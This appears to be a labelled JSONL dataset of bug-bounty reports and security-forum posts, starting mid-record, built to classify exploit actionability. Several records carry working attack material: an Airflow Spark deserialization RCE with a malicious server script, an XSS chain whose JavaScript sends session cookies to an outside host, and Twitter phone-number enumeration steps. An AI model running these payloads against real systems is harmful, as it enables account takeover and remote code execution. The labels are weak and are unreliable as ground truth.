Attacker copies the request's url then drops it. He then sends it to the victim and hopes for the best\n\n. Victim clicks on the link\n\nTwo options:\n1. if the victim has already linked the company's Github to the Hackerone. Github won't ask for user's conscent. The victim would be redirected the callback endpoint\n\n```\nhttps://hackerone.integration-configuration.com/auth/cb?id=<Auth ID>\n```\n\nThe victim would have no idea of what happened\n\n2. The app would ask the user if they'd give their conscent to Hackerone. If the victim trusts Hackerone, there is a high chance they would click Yes.\n\n. Once the victim's authorization is finished. The attacker can change the location of authentication window to \n\n```\nhttps://hackerone.integration-configuration.com/auth/cb?id=<Auth ID>\n```\n\nThi", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8a3952988a696665dd2d", "text": "[Improper Access Control - Generic] Federated editing allows iframing possibly malicious remotes\n\nSo this attack is less likely now that you killed the trusted server auto adding. But as far as I could tell you did not clear out old servers. Let me first describe the attack:\n\n1. UserA on ServerA sends a federated share to userB on serverB\n2. Assume serverA and serverB are trusted servers\n3. Now once the the trusted server is established when userB tries to edit the document it will do so on serverA. Hence the iframing\nhttps://github.com/nextcloud/richdocuments/blob/master/lib/AppInfo/Application.php#L239\n\n## Impact\n\nThe issue I see with this is that; not until to long ago it was trivial to establish trusted servers with federation (or from public links).\n\nThe second issue is that userB now not only has to trust serverB to be secure, properly updated etc. But also trusts implicitly serverA. ServerA could serve malicious code. That shows that the user needs to resubmit their password for example.\nThis is also not made clear on the settings to the admin that enabling trusted servers opens this possibility.\n\nNow. I admit that this is all not super likely to all happen. But iframing remote sources when clicking to edit a document (which the user will just expect to open their own collabora) poses a real risk I think.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2e781026a42fcd731a20", "text": "Finaly how can you reslove it. Can you show me detail, i stuck it 2 weks. Thanks! @XSSDoctor", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "83219e5cd35e090bbe78", "text": "[Incorrect Calculation of Buffer Size] Zip bomb\n\nHi, if you go to this site https://blog.haschek.at/tools/bomb.php\n from Tor Browser, the Tor browser hangs along with the system.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0888555c89f002f9a2c6", "text": "[Information Disclosure] Information Disclosure via ZIP file on AWS Bucket [http://acronis.1.s3.amazonaws.com]\n\n## Summary\n\nHello, @acronis Team I hope you all doing well.\n\nduring My recon, I found OPEN S3 BUCKET  http://acronis.1.s3.amazonaws.com and this BUCKET has an ZIP file .\nand this file contains sensitive information about the internal system of Acronis.\n\nThis Zip file Is from  2018.  And it looks like it was in the development environment. but some employees uploaded this backup to OPEN S3 BUCKET.\nand An attacker can download this file and read it .\n\n\n## Steps To Reproduce\n\n  1. go to http://acronis.1.s3.amazonaws.com/sysinfo_AcronisAppliance_2018-08-01_15-16-21.zip and download The Zip file .\n\nby Extracting this Zip file you can see the sensitive information about the internal system.\n\n### POC \n\n{F1224411}\n\n## Recommendations\n\ndelete `sysinfo_AcronisAppliance_2018-08-01_15-16-21.zip` file from this OPEN S3 BUCKET.\n\n## Impact\n\nInformation Disclosure About internal system.\nHTTP logs Disclosure.\nleak Admin JWT token \n{F1224410}", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8bb23c3804935501b2b6", "text": "[Phishing] Twitter account hijack @Costalfy\n\n##Summary:\nBroken Link Hijacking (BLH) is a web-based attack where it exploits external links that are no longer valid. The attackers take over this expired, stale, and invalid external links on credible websites or web applications for malicious or fraudulent purposes.\nLink Hijacking attacks occur because the website/ web application continues to contain links to expired/ stale resources/pages (loaded using external URLs).\n\nSo i found a twitter account of one of the members of **liberapay** which is **Andy Costanza** is broken, anyone can claim that account and can scam with it .\n\n{F2642478}\n##Steps To Reproduce:\n\n1- Go to ``` https://liberapay.com/Andy_Costanza/ ``` and Click on the twitter button .\n\n{F2642439}\n2-now it redirect you to Attacker ( My ) Profile .\n\n{F2642468}\n\n> -  Those interested to get more infomation about **Andy Costanza** at https://liberapay.com/Andy_Costanza/ should be cautious of potential phishing or scam attempts. It is advised to take prompt action to ensure safety and security.\n\n## Impact\n\nSince the links can be hijacked so any attacker can claim the link and make fake Twitter profile of  **Andy Costanza** and can do scam with them.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "edfa8d7b5ade20980511", "text": "Thanks a lot @onthesauce ! Thought that I’ve already tried to do that yesterday. But with a fresh set of eyes today and your cp tips I’ve managed to get the flag. Happy hacking!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "75beb9b7434366dcb8af", "text": "[Deserialization of Untrusted Data] CVE-2023-40195: Apache Airflow Spark Provider Deserialization Vulnerability RCE\n\nApache Airflow Spark Provider. After the malicious Spark server address is configured through the connections of the Airflow UI interface, attackers exploit malicious servers to manipulate pyspark clients through malicious deserialization data. So as to implement RCE attack on airflow server.\n\n##Vulnerability principle：\n\n1. Analyze spark principle: Spark protocol is based on RPC communication. The RPC communication process is a serialization and deserialization process, Therefore, attackers can call arbitrary java methods through deserialization, implement RCE.\n\n2.Spark can attack the server through malicious client deserialization, and can also attack the client through malicious server; In the Airflow scenario, PySpark is used as a client to connect to the Spark Server through Spark Provider. So, an attacker only needs to construct a malicious server to attack Airflow's Spark client.\n\nThe command that triggers deserialization is as follows:\n**spark-submit --master spark://evil_ip:port**\nTherefore, an attacker can configure malicious ip and port through the connections of the Airflow UI. And to execute the above command, then trigger the deserialization operation.\n\n##Vulnerability exploitation process：\n\n1. Create a new ‘Spark’ connection is named ‘spark_default’，and configure the Port and Host parameter.\nHost: spark://172.31.76.174\nPort: 8888\n\n###172.31.76.174 is malicious spark server address for attackers\n\n\n(F2648714)\n\n{F2648715}\n\n2.Attackers generate malicious deserialized data (exp.der) through the deserialization tool ysoserial. \n**Tool URL: https://github.com/frohoff/ysoserial**\nThe attacker locally executes the following commands：\n**\"C:\\Program Files\\Java\\jre1.8.0_361\\bin\\java\" -jar ysoserial.jar CommonsCollections4 \"touch /tmp/thisisRCE\" > exp.der**\n#touch /tmp/thisisRCE is malicious commands to be executed on airflow.\n\n{F2648716}\n\n3.The attacker starts the malicious Spark server locally and specifies the malicious deserialized data to be transmitted.\n**python2 evil_spark_server.py 8888 exp.der**\n\n{F2648717}\n\n4. Enter the DAGs menu and start hive_dag task, select “Trigger DAG w/ config”. \nhttp://localhost:8080/trigger?dag_id=example_spark_operator\n\n{F2648718}\n\n4. The final command is as follows:\n\n**spark-submit --master spark://172.31.76.174:8888 --name arrow-spark /tmp/file**\nThrough the log and server view, it can be seen that any command has been executed successfully.\n\n{F2648719}\n\nThe malicious server successfully accepted the request and sent malicious data.\n\n{F2648720}\n\nSuccessfully executed malicious commands on Airflow Worker Server.\n\n{F2648722}\n\n**evil_spark_server.py**\n```\n#!/usr/bin/python\nimport socket\nimport os\nimport sys\nimport struct\n\nfrom SocketServer import BaseRequestHandler, ThreadingTCPServer\n\nclass EchoHandler(BaseRequestHandler):\n    def handle(self):\n        print 'Got connection from %s'%(str(self.client_address))\n        while True:\n            msg = self.request.recv(8192)\n            print msg\n            if not msg:\n                break\n            if len(msg) > 16:\n                print \"Send msg>>>\"\n                self.request.send(build_msg(msg[9:17]))\n\ndef build_msg(request_id):\n    payloadObj = open(sys.argv[2],'rb').read()\n    msg_type = '\\x04'\n    head_length = 21\n    msg = struct.pack('>Q',len(payloadObj) + 21) + msg_type + request_id\n    msg += struct.pack('>I',len(payloadObj)) + payloadObj\n    return msg\nif __name__ == '__main__':\n    if len(sys.argv) < 3:\n        print 'Usage: python %s <port> </path/to/payload>' % os.path.basename(sys.argv[0])\n        sys.exit()\n    serv = ThreadingTCPServer(('0.0.0.0', int(sys.argv[1])), EchoHandler)\n    print \"Server listening on 0.0.0.0:%s\"%(sys.argv[1])\n    serv.serve_forever()\n```\n\n**DAG Demo(example_spark.py):**\n```\nfrom datetime import datetime\n\nfrom airflow.models import DAG\nfrom airflow.providers.apache.spark.operators.spark_jdbc import SparkJDBCOperator\nfrom airflow.providers.apache.spark.operators.spark_sql impo", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-40195"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "eac0cb05a07569b24ab2", "text": "[Cross-site Scripting (XSS) - Reflected] [hta3] Chain of ESI Injection & Reflected XSS leading to Account Takeover on [███]\n\nHi,\n\n## Summary\nThere is an **ESI injection** vulnerability in the [https://████████/portal/page/portal/TOPLEVELSITE/SearchResults/PerspectiveResults](https://████/portal/page/portal/TOPLEVELSITE/SearchResults/PerspectiveResults) endpoint on the **ms** parameter. With this injection, we're able to extract session cookies that have the HttpOnly flag by using this payload.\n\n```xml\n<esi:vars>$(HTTP_HEADER{Cookie})</esi:vars>\n```\n\nWe also found a **Reflected XSS** vulnerability in the [https://████████/portal/pls/portal/PORTAL.wwexp_render.show_tree](https://████████/portal/pls/portal/PORTAL.wwexp_render.show_tree) endpoint on the **title** parameter\n\nBy chaining these 2 bugs together, we're able to steal session cookies and take over a victim user's account.\n&nbsp;\n\n## Steps To Reproduce\n1- By browsing here `https://████████/portal/page/portal/TOPLEVELSITE/SearchResults/PerspectiveResults?osf=&ms=lol<esi:vars>$(HTTP_HEADER{Cookie})</esi:vars>lol&mo=containsall&pg=&sepg=-1&fi=&fs=&ft=&pu=1&has=&as=17%2C0%3B48%2C0&saa=ALL&po=matchall&pi=&pc=&co=equal&ci=&p_action=SUBMIT&ll=`, we're able to see your cookies in the **Search** field between the `lol` strings at the beginning and end.\n█████████\n2- When browsing here, `https://█████████/portal/pls/portal/PORTAL.wwexp_render.show_tree?p_otype=SITEMAP&p_request=open&p_minusimage=&p_plusimage=&p_headerimage=%2Fimages%2Fbhfind2.gif&p_show_banner=NO&p_show_cancel=NO&p_open_item=1.FOLDER.FOLDERMAP.1_0&p_open_items=0.SITEMAP.FOLDERMAP.0_-1&p_domain=wwc&p_sub_domain=FOLDERMAP&p_title=Browse+Pages</title><svg/onload=alert(domain)>&p_datasource_data=document.SEARCH60_PAGESEARCH_362193163.ft&p_datasource_data=document.SEARCH60_PAGESEARCH_362193163.fi&p_datasource_data=document.SEARCH60_PAGESEARCH_362193163.fs&p_datasource_data=nls_sub_domain%3Dtext%2Cnls_name%3Dfolderplpopup`, we can see an alert box showing the vulnerable domain caused by this HTML and JavaScript code in the **title** parameter.\n\n```html\n</title><svg/onload=alert(domain)>\n```\n\n████████\n\n3- To chain these 2 bugs together, we created the following PoC. This JavaScript code is fetching the URL containing the ESI injection, grabbing the value of the cookies in the response and then sending them over to our server in order to steal them.\n\n```javascript\nfetch('https://████████/portal/page/portal/TOPLEVELSITE/SearchResults/PerspectiveResults?osf=&ms=lol<esi:vars>$(HTTP_HEADER{Cookie})</esi:vars>lol&mo=containsall&pg=&sepg=-1&fi=&fs=&ft=&pu=1&has=&as=17%2C0%3B48%2C0&saa=ALL&po=matchall&pi=&pc=&co=equal&ci=&p_action=SUBMIT&ll=').then(function (response) {\n\t\treturn response.text();\n}).then(function (html) {\n\n\tvar parser = new DOMParser();\n\tvar doc = parser.parseFromString(html, 'text/html');\n  \n  //var input = doc.querySelector('input')[0];\n  var cookies = doc.getElementById(\"x61_ms\").value;\n  fetch(`https://www.jr0ch17.com/ato?cookies=${cookies}`);\n\n}).catch(function (err) {\n\t// There was an error\n\tconsole.warn('Something went wrong.', err);\n});\n```\n\nTo trigger this whole PoC, you can browse to this URL. You can replace the server with your own to reproduce it.\n\n```\nhttps://████████/portal/pls/portal/PORTAL.wwexp_render.show_tree?p_otype=SITEMAP&p_request=open&p_minusimage=&p_plusimage=&p_headerimage=%2Fimages%2Fbhfind2.gif&p_show_banner=NO&p_show_cancel=NO&p_open_item=1.FOLDER.FOLDERMAP.1_0&p_open_items=0.SITEMAP.FOLDERMAP.0_-1&p_domain=wwc&p_sub_domain=FOLDERMAP&p_title=Browse+Pages</title><script/src='https://www.jr0ch17.com/hta3.js'></script>&p_datasource_data=document.SEARCH60_PAGESEARCH_362193163.ft&p_datasource_data=document.SEARCH60_PAGESEARCH_362193163.fi&p_datasource_data=document.SEARCH60_PAGESEARCH_362193163.fs&p_datasource_data=nls_sub_domain%3Dtext%2Cnls_name%3Dfolderplpopup\n```\n\nAs you can see, the XSS payload is now the following.\n\n```html\n</title><script/src='https://www.jr0ch17.com/hta3.js'>\n```\n\nWe can then see that we have received the victim's cookies including the session cookie which has", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "44c3d76b9ba63a37360a", "text": "[Improper Access Control - Generic] Unprotected ██████ and Test site API Exposes Documents, Credentials, and Emails in ██████████ Proposal System\n\n**Summary:**\nThe test/integration API of the █████ web services is publicly exposed: disclosing documents, emails, and credentials to what appears to be the Seaport Bid proposal system. Because I did not attempt any exploitation outside of that necessary to deem this a reportable issue, it is not clear if the data is only test generated or if the system contains production documents, credentials, etc. \n\n███████\n\n**Description:**\nWhile performing manual reconnaissance, I came across Swagger/API documentation for the ███ web services API at https://███████/. \n\nThe API endpoint appears to have four main types of functionality:\n\n1) Document storage/retrieval\n2) Email template storage\n3) Email generation\n4) PDF generation\n\nDue to the lack of authentication on the API, the system can be easily abused by a minimally sophisticated attacker.\n\n## Impact & Steps to Reproduce\n\n1) Documents stored in the system can be uploaded, modified, or deleted via the API. Per the DoD program rules on data exfil, I did not try to access the documents. You can view a listing of the documents here:\n\nhttps://███/api/1_0/Documents\n\n2) Email templates can be access and modified. For example, you can view all email templates here:\n\nhttps://██████████/api/1_0/EmailTemplates\n\nYou can also add, modify, or delete templates via the API.\n\n3) Most importantly, you can view all of the emails that the system has sent via the API. The exact route is:\n\nhttps://████/api/1_0/EmailMessages\n\n**The emails are highly sensitive because they contain the activation codes needed to create a new account and access the █████████ Proposal System at https://███/Bid/.** \n\nFor example, one of the last emails sent includes the following:\n\n```\n\n{\"resultmetadata\":[{\"emailId\":\"3f6f7fb7-167b-432d-b35b-f443709ba832\",\"systemcode\":null,\"senderEmailAddress\":\"████ Admin<DoNotReply@█████.com>\",\"acknowledgementRequested\":false,\"attachments\":[],\"tags\":[],\"tokens\":null,\"emailStatus\":\"Sent\",\"Subject\":\"Your ███████ Authentication Code\",\"Body\":\"Your authentication code is 373A51. This code will expire at 09:23 AM on 11/22/2019.\\r\\n\\r\\n-----------------------------------------------------------------\\r\\n\\r\\nYou may check in through the following link https://████/Bid.\\r\\n\\r\\nThank you for your business with ███████.\\r\\n\\r\\nPlease do not reply directly to this message. \n\n```\n\nNote the █████ Authentication Code `373A51`, which would allow an attacker to login to the system at https://█████/Bid.\n\nThe emails also include usernames of current users in the system who will have access expiring in the near future:\n\n█████\nYou can view the full list of emails here:\n\nhttps://█████████/api/1_0/EmailMessages\n\n## Suggested Mitigation/Remediation Actions\n\nUtilize bearer token authentication on the API route so that unauthorized parties cannot query it. Alternatively, lock down access to the API endpoint to restricted IP addresses or networks so that it is no longer publicly accessible.\n\n## Impact\n\n* Upload, delete, or download sensitive files stored in the document DB\n* Send, read, and modify emails from ████ admin \n* Login to ████ proposal system using stolen authentication codes sent to users", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0e728aa22e4bc2f9949f", "text": "[Improper Restriction of Authentication Attempts] Brute Force of fabric-ca server admin account\n\n## fabric-ca server\n- Default configuration maxenrollments value -1(enable outside enrollment)\n- Listening 0.0.0.0:7054(easily discoved and can be reached)\n- No limit to wrong password try\nAbove conditions result in brute force to CA server admin account\n\n## Impact\n\n## Attack gain a high-level permissioned account to permissioned network and can add\\delete\\update\\query", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2ad6a0e6414a4ac5eb38", "text": "[Unknown] CPP: Add query for CWE-369: Divide By Zero.\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "534848e35be018e89abd", "text": "Introduction to C# - HTB Academy - Skills Assessment - Simple tips\n\nYour task is to create a C# application that will iterate through the wordlist, using each word as a potential path on the target host. You will make HTTP requests to these paths and check for the existence of flag.txt. The program will output the paths where the flag.txt file exists. Since I have not found any post about this in the forum I will give a few tips to whoever might try the module and have problems.The skill assessment is quite simple. If you try to overcomplicate it you will just have more trouble finding what you want, which is the path to the file. Keeping it as simple as possible, try to replicate what you learned about Async and also a way to iterate through the wordlist, a good idea is to have the request response being printed so you’ll have fun watching the code iterating through everything (or not). No need to use StreamReader either, it would make you work a little bit more to obtain the same result but I guess its still an option if you want an all-in-one solution", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-08-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2e26c5423cc20211f2c8", "text": "[Improper Access Control - Generic] \"External status checks\" can be accepted by users below developer access if the user is either author or assignee of the target merge request\n\n### Summary\n\nAny user who is either author or assignee of a merge request can approve that merge request's `external status checks`. This includes users with `Guest` access that creates MR's either through email or through a fork of the project. It also includes users with `Guest` or `Reporter` access getting assigned to an MR, which is not uncommon in public projects.\n\nThere exists a tiny overlap with my report [1375376](https://hackerone.com/reports/1375376) which is yet not triaged. I describe this overlap in the end of this summary. The reports look similar, but the vulnerabilities are not related. A fix in 1375376 would not fix this report, only the overlap.\n\nThe `external status check` documentation does not offer too much information about how the feature is supposed to function. But the developer discussions and the unit tests suggests that approving an `external status check` should be restricted for users with at least `Developer` access in the project. Here is the issue tracking the development https://gitlab.com/gitlab-org/gitlab/-/issues/267519\n\nIn this [thread](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59137#note_567776066) the possibility of users abusing the fact that a status check is not tied to any special token. Rather they use regular PAT's, these discussion mentions\n\n> find_merge_request_with_access will at least mean that only those with developer+ access to the project in question would be able to exploit the feature in this way.\n\nThe [unit tests](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/spec/requests/api/status_checks_spec.rb#L29) for this feature checks this assumption with these lines\n\n```\ndescribe 'permissions' do\n    before do\n      stub_licensed_features(external_status_checks: true)\n    end\n\n    it { expect { subject }.to be_allowed_for(:maintainer).of(project) }\n    it { expect { subject }.to be_allowed_for(:developer).of(project) }\n    it { expect { subject }.to be_denied_for(:reporter).of(project) }\n  end\n```\n\nValidating if the user making the request is developer+.\n\nSo to enforce this they have put an authentication block checking if the user have permission to respond to `external status checks` using the function called `find_merge_request_with_access` in this way\n```\nmerge_request = find_merge_request_with_access(params[:merge_request_iid], :approve_merge_request)\n```\nChecking the permission `:approve_merge_request` which is enabled for developers. But as it turns out, this permission is also enabled for users with the permission `:update_merge_request`. In https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/policies/merge_request_policy.rb there is this rule\n\n```\n rule { can?(:update_merge_request) }.policy do\n    enable :approve_merge_request\n  end\n```\nThat enables the permission for anyone that are allowed to update the MR. And in https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/policies/issuable_policy.rb there exists this rule\n\n```\nrule { can?(:guest_access) & assignee_or_author }.policy do\n    enable :read_issue\n    enable :update_issue\n    enable :reopen_issue\n    enable :read_merge_request\n    enable :update_merge_request\n    enable :reopen_merge_request\n  end\n```\nenabling `:update_merge_request` for anyone that have `:guest_access` and is either assignee or author.\n\nThis is probably the root of the problem. And as far as I could make out this is not the intended behavior. A user with `Guest` access can create an MR by forking and directly send approval for all `external status checks` to lure the developers that the MR have been checked. It leads to at least two problems:\n\n* A user with no membership can create a MR in a public project and then \"approve\" the `external status check's without any membership\n* A user who is demoted to `Reporter` in a private project can still \"approve\" `external status check's in MR's where the user is either author or assignee\n\nand at", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5922fdbda7da443f9644", "text": "[Improper Access Control - Generic] Open S3 Bucket Accessible by any Aws User\n\nDescription:\nIt has been observed that the amazon s3 bucket which i believe belongs to GoCD as it contains data related to GoCD █████ documents and all is misconfigured as a result any unauthenticated users can access it without any restrictions\nStep-by-step Reproduction Instructions\n1.Access following URL\nhttps://█████████.s3.amazonaws.com/ \nso the bucket name is \"███\"\n2.And we can see that we are successfully able to see all the contents present on it.Which confirms s3 bucket is misconfigured.\n3.And to access contents of different directories we can use following cmd in terminal\naws s3 ls s3://s3://███/binaries/\naws s3 ls s3://s3://█████/repodata/\naws s3 ls s3://s3://█████████/repoview/\n\nand in a similar way ,we can access content of root or any directory which contains sensitive manuals , document and media files \nSuggested Mitigation/Remediation Actions : \nconfigure s3 bucket properly to disable listing of such a sensitive files\n\n## Impact\n\nAny unauthenticated user can access and download sensitive files present on GoCD s3 storage.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ffcec767d51fe7a51e38", "text": "[Information Disclosure] Identify the mobile number of a twitter user\n\n**Summary:** \nBy exploiting this security vulnerability we can detect the mobile number of a twitter user.\n\n\n**Description:**\nThis security vulnerability is of type \"Information disclosure\" it allows to exploit Flawed behavior of the twitter system to obtain distinct responses when different error states occur.\nThis security vulnerability allows to identify the mobile number of a twitter user from its USER_NAME.\n\n## Steps To Reproduce:\n\nWe explain how to get the mobile number which is (██████████) from the following twitter user \"███\"==> USER_NAME = ████\n\n1.access the following url: \"████\" and enter user name \"██████\" and click search. (see screenshot \"1.PNG\")\n2. At this step twitter  displays the last 2 digits of mobile number through this message \"text a code to the phone number ending in 15\", the last two digits are 15, click on next.(see screenshot \"2.PNG\")\n3. repeat step number 2 several times, i.e. repeat asking to receive the code several times until you get the following message: \"You've exceeded the number of attempts. Please try again later.\"(see screenshot \"3.PNG\")\n4.Now twitter  block sends it sms code to the number associated with the victim's twitter  account which ends with two digits 15\n\n====> twitter  block sends it again sms for the correct victim mobile number, ie \"████████\" but it does not block it sends sms to any other different mobile number at ███ (the probability that twitter block sends an sms to mobile number different to █████████ which ends in 15 and has the following format &&&&&&15 at the time of launching the attack is 0.000001% ) so we can use the \"Forgot Password\" feature and ask to receive an sms on all the following format numbers &&&&&&15 and the attempt which returns the following message: \"You've exceeded the number of attempts. Please try again later.\"is an attempt associated with the victim mobile number.\n\n==> an attempt to receive an SMS code at the mobile number of the following format: &&&&&&15 may return 3 different messages:\n1st message : Number not associated with a twitter  account\n2nd message : \"You'll recive a code to verify here so you can reset your accont password.\" ==> this is not the victim mobile number .(see screenshot \"7.PNG\" and \"8.PNG\" )\n3rd message: \"You've exceeded the number of attempts. Please try again later\". ==> this is the victim mobile number (see screenshot \"4.PNG\" and \"5.PNG\" and \"6.PNG\"  )\n\n\n5. to identify the mobile number we will access this url \"████████\" and try to request sms code on all the mobile numbers that end by 15 which follows this format &&&&&&15 that is to say make a brute force on all the number which ends in 15, therefore the request which tries to recive sms code associating with the correct victim number account will display the following message: \"You've exceeded the number of attempts. Please try again later\" on the other side any other request that is not associated with victim's correct mobile number will display the following message: \"You'll recive a code to verify here so you can reset your accont password.\" or a number not associated with a twitter account.\n\n\n===>we can deduce the number of victim's digit according to the user's country or we can easily deduce it, the victim's country is \"██████\" so the format of its number is as follows: &&&&&&15, To accelerate the brute force and decipher the correct digits more quickly associated with this number &&&&&&15 we will use the following information:\nthe mobile number for the ████ region begins with the following operator phone code: (26-27) (56-57)\n, so we are now going to brute force on this number range:\n26&&&&15 ... 27 &&&&15\n56&&&&15 ... 57&&&&15\n\nwe have 10 ^ 4 = 10000 mobile number to test each time to identify the correct victim mobile number, we eliminate the numbers that are not associated with a twitter account then determine which number blocked by twitter from receiving sms that returns the message next: \"You've exceeded the number of attempts. Please try again later\" , this is the victim mobile", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f8d746fb3bc99c57a8f3", "text": "[Uncontrolled Resource Consumption] ReDoS in net/http affects webhooks: Sidekiq job stuck at 100% CPU for a year\n\n### Summary\n\nA Gitlab webhook may be pointed at a malicious webhook receiver.\nThe webhook receiver can respond with a specially crafted long header.\nGitlab processes the header with Ruby's net/http where there is a regular expression operation with quadratic complexity (ReDoS).\nThis causes the `web_hook` Sidekiq job to get stuck at 100% CPU utilisation until the regular expression processing is complete (weeks later).\nThe long headers are also kept in memory and the connection can be kept open.\n\n#### Comparison to 1252116\n\nIn report #1252116, the impact was that the network connection was kept open indefinitely, potentially causing connection pool and memory exhaustion. This new report is instead about CPU exhaustion for a more serious and more powerful DoS. It also bypasses the timeout added to fix #1252116 (https://gitlab.com/gitlab-org/gitlab/-/commit/a8807ee52d0b22b68beb31f0cad6ad5b77b4caf6) (deployed in 14.9.2) as the timeout only gets hit once the regular expression has finished processing (timeout is checked between header lines).\n\n#### The root cause\n\nA Regular Expression Denial of Service (ReDoS) vulnerability in Ruby's net/http affects Gitlab webhooks.\n\nThe bug is in [net/http/response.rb#57](https://github.com/ruby/net-http/blob/7b852b1feb7c1c0bc3019687d6ee5c385ce26eb9/lib/net/http/response.rb#L57) when reading headers line by line:\n\n```rb\nline = sock.readuntil(\"\\n\", true).sub(/\\s+\\z/, '')\n```\n\nThe `sub` regex is the issue. While it looks safe and linear, the `sub` operation will actually have quadratic complexity as there is no starting anchor.\n\nA header line which contains many consecutive spaces but *does not end in a space*, such as\n\n```rb\n( \"a\" + \" \" * 950000 + \"b\" ).sub(/\\s+\\z/, '')\n```\n\nwill exhibit extreme backtracking.\n\nThe time complexity is quadratic with respect to the number of spaces in the string (doubling the number of spaces quadruples the processing time). Approximate timings from my laptop (I measured until 10,000 and then extrapolated):\n\n```\n|  Spaces  |  Seconds   |  Hours   |  Days  |\n|----------|------------|----------|--------|\n|     2000 |        1.8 |          |        |\n|     4000 |        7.2 |          |        |\n|     8000 |       28.6 |          |        |\n|    10000 |       44.7 |          |        |\n|   100000 |     4473.0 |     1.24 |   0.05 |\n|  1000000 |   447300.0 |   124.25 |   5.18 |\n| 10000000 | 44730000.0 | 12425.00 | 517.71 |\n```\n\n### Steps to reproduce\n\n1. Run the attached malicious node server on port 3000: `node ./net-http-response.js`\n2. Create a project and add webhooks for issue events to http://maliciousserver:3000/xyz.\n3. (If you hosted the malicious server on your local network, you will need to \"Allow requests to the local network from web hooks and services\" in /admin/application_settings/network.)\n4. Create an issue (or close or reopen one) to trigger the webhook. Gitlab will make a webhook request.\n5. The malicious server will respond with `HTTP/1.1 200 OK` and then a header line with 9,500,000 consecutive spaces in the middle.\n6. The `web_hook` Sidekiq job will be stuck processing at 100% CPU and will not complete for **over a year**. This can be seen in the Background Jobs panel (/admin/background_jobs) and `top`:\n\n{F1681377}\n\n{F1681378}\n\nThe ReDoS triggers on web requests made to Gitlab which trigger an external request e.g. validating the URL before repository import. However, in these cases a `RequestTimeoutException` triggers after 60 seconds of 100% CPU.\n\nThe regex runs without a timeout on project webhooks. It's not just project webhooks though. Any use of `Gitlab::HTTP.post` such as system webhooks and integrations (e.g. Mattermost) are affected.\n\nTo demonstrate the net/http bug:\n\n```rb\nrequire 'net/http'\nuri = URI('http://maliciousserver:3000/x')\nNet::HTTP.get(uri)\n```\n\n### What is the current *bug* behavior?\n\nGitlab webhooks and system hooks get stuck for years in a CPU intensive regular expression operation when receiving a maliciou", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "474e65d2addad172af2c", "text": "[Unknown] [Java] CWE-089: MyBatis Mapper XML SQL Injection\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
